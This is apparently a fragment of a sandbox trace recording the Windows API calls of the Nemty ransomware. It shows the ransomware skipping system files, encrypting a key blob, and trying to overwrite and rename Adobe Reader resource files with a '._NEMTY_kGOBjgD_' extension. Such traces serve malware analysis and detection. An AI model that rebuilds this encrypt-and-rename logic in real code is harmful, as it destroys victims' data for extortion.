[0205.091] lstrcmpiW (lpString1="GB-EUC-V", lpString2="NTDETECT.COM") returned -1 [0205.091] lstrcmpiW (lpString1="GB-EUC-V", lpString2="ntldr") returned -1 [0205.091] lstrcmpiW (lpString1="GB-EUC-V", lpString2="MSDOS.SYS") returned -1 [0205.091] lstrcmpiW (lpString1="GB-EUC-V", lpString2="IO.SYS") returned -1 [0205.091] lstrcmpiW (lpString1="GB-EUC-V", lpString2="boot.ini") returned 1 [0205.091] lstrcmpiW (lpString1="GB-EUC-V", lpString2="boot.ini") returned 1 [0205.091] lstrcmpiW (lpString1="GB-EUC-V", lpString2="AUTOEXEC.BAT") returned 1 [0205.091] lstrcmpiW (lpString1="GB-EUC-V", lpString2="ntuser.dat") returned -1 [0205.091] lstrcmpiW (lpString1="GB-EUC-V", lpString2="desktop.ini") returned 1 [0205.091] lstrcmpiW (lpString1="GB-EUC-V", lpString2="CONFIG.SYS") returned 1 [0205.091] lstrcmpiW (lpString1="GB-EUC-V", lpString2="RECYCLER") returned -1 [0205.092] lstrcmpiW (lpString1="GB-EUC-V", lpString2="BOOTSECT.BAK") returned 1 [0205.092] lstrcmpiW (lpString1="GB-EUC-V", lpString2="bootmgr") returned 1 [0205.092] lstrcmpiW (lpString1="GB-EUC-V", lpString2="programdata") returned -1 [0205.092] lstrcmpiW (lpString1="GB-EUC-V", lpString2="appdata") returned 1 [0205.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0205.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GB-EUC-V", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0205.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GB-EUC-V", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GB-EUC-V", lpUsedDefaultChar=0x0) returned 8 [0205.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0205.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GB-EUC-V", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0205.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GB-EUC-V", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GB-EUC-V", lpUsedDefaultChar=0x0) returned 8 [0205.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0205.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0205.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0205.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GB-EUC-V", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0205.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GB-EUC-V", cchWideChar=8, lpMultiByteStr=0x653ec20, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GB-EUC-V", lpUsedDefaultChar=0x0) returned 8 [0205.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0205.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0205.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GB-EUC-V", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0205.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GB-EUC-V", cchWideChar=8, lpMultiByteStr=0x653ec58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GB-EUC-V", lpUsedDefaultChar=0x0) returned 8 [0205.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0205.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94110 [0205.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0205.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0205.092] Sleep (dwMilliseconds=0x5) [0205.107] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2de401d0, dwHighDateTime=0x1d561e8)) [0205.107] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2de401d0, dwHighDateTime=0x1d561e8)) [0205.107] GetLastError () returned 0x5 [0205.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0205.107] GetLastError () returned 0x5 [0205.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0205.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0205.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0205.107] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0205.107] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0205.107] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0205.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0205.107] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="J1yQFYlFCetS+iDrielpYzxmF+O7mFOsmhsK+lZDDfD7CCclSEe85xT3tpLMyXUZ\r\n3VbhL6QWSPGgj5fublty1ajaLXd1D4rUlyTrNggBQmgsosQ+5rz64/qHpQUw7AoY\r\nev2U7yPsjK5/j4mvUTEjubfq2711SG1LMtrNika2aDUlRmZd54IUtfn0SvFO1Rbk\r\ntqvn2qCHUzlIVgEp/DQ0friAXUjgEvO7dkJDcAoqtsrx44LTD/Zy67FvXEEfnfvc\r\n3LoFqVCcEUQs8ggo5WWPVOkya2VdEeFsw1XV99pyHtuCNRyWL1fSkCmudcQgWfbe\r\nyy6uPd4gnYVAeadCiCDHqQ==\r\n", pcchString=0x653e91c) returned 1 [0205.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0205.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0205.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0205.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0205.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0205.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0205.107] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GB-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gb-euc-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0205.108] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0205.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0205.108] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.108] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.117] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.117] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.117] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.117] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.127] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.127] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.127] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.127] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.136] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.136] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.136] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.136] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.145] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.145] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.145] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.145] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.154] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.155] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.155] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.155] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.164] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.164] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.164] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.164] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.173] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.173] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.173] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.173] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.183] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.183] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.183] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.183] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.192] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.192] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.192] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.192] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.202] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.202] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.202] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.202] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.208] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.208] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.208] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.208] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.214] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.214] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.214] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.214] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0205.214] CloseHandle (hObject=0xffffffff) returned 0 [0205.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94198 [0205.214] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0205.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0205.214] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0205.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0205.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0205.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0205.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0205.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0205.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0205.214] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GB-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gb-euc-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GB-EUC-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gb-euc-v._nemty_kgobjgd_")) returned 0 [0205.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0205.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0205.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0205.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0205.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0205.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0205.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0205.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0205.215] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15594, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBK-EUC-H", cAlternateFileName="GBK-EU~1")) returned 1 [0205.215] lstrcmpiW (lpString1="GBK-EUC-H", lpString2=".") returned 1 [0205.215] lstrcmpiW (lpString1="GBK-EUC-H", lpString2="..") returned 1 [0205.215] lstrcmpiW (lpString1="GBK-EUC-H", lpString2="...") returned 1 [0205.215] lstrcmpiW (lpString1="GBK-EUC-H", lpString2="windows") returned -1 [0205.215] lstrcmpiW (lpString1="GBK-EUC-H", lpString2="$RECYCLE.BIN") returned 1 [0205.215] lstrcmpiW (lpString1="GBK-EUC-H", lpString2="rsa") returned -1 [0205.215] lstrcmpiW (lpString1="GBK-EUC-H", lpString2="NTDETECT.COM") returned -1 [0205.215] lstrcmpiW (lpString1="GBK-EUC-H", lpString2="ntldr") returned -1 [0205.215] lstrcmpiW (lpString1="GBK-EUC-H", lpString2="MSDOS.SYS") returned -1 [0205.215] lstrcmpiW (lpString1="GBK-EUC-H", lpString2="IO.SYS") returned -1 [0205.215] lstrcmpiW (lpString1="GBK-EUC-H", lpString2="boot.ini") returned 1 [0205.215] lstrcmpiW (lpString1="GBK-EUC-H", lpString2="boot.ini") returned 1 [0205.215] lstrcmpiW (lpString1="GBK-EUC-H", lpString2="AUTOEXEC.BAT") returned 1 [0205.215] lstrcmpiW (lpString1="GBK-EUC-H", lpString2="ntuser.dat") returned -1 [0205.215] lstrcmpiW (lpString1="GBK-EUC-H", lpString2="desktop.ini") returned 1 [0205.215] lstrcmpiW (lpString1="GBK-EUC-H", lpString2="CONFIG.SYS") returned 1 [0205.215] lstrcmpiW (lpString1="GBK-EUC-H", lpString2="RECYCLER") returned -1 [0205.215] lstrcmpiW (lpString1="GBK-EUC-H", lpString2="BOOTSECT.BAK") returned 1 [0205.215] lstrcmpiW (lpString1="GBK-EUC-H", lpString2="bootmgr") returned 1 [0205.215] lstrcmpiW (lpString1="GBK-EUC-H", lpString2="programdata") returned -1 [0205.215] lstrcmpiW (lpString1="GBK-EUC-H", lpString2="appdata") returned 1 [0205.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0205.215] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK-EUC-H", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0205.215] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK-EUC-H", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBK-EUC-H", lpUsedDefaultChar=0x0) returned 9 [0205.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0205.215] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK-EUC-H", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0205.215] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK-EUC-H", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBK-EUC-H", lpUsedDefaultChar=0x0) returned 9 [0205.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0205.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0205.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0205.215] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK-EUC-H", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0205.216] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK-EUC-H", cchWideChar=9, lpMultiByteStr=0x653ec20, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 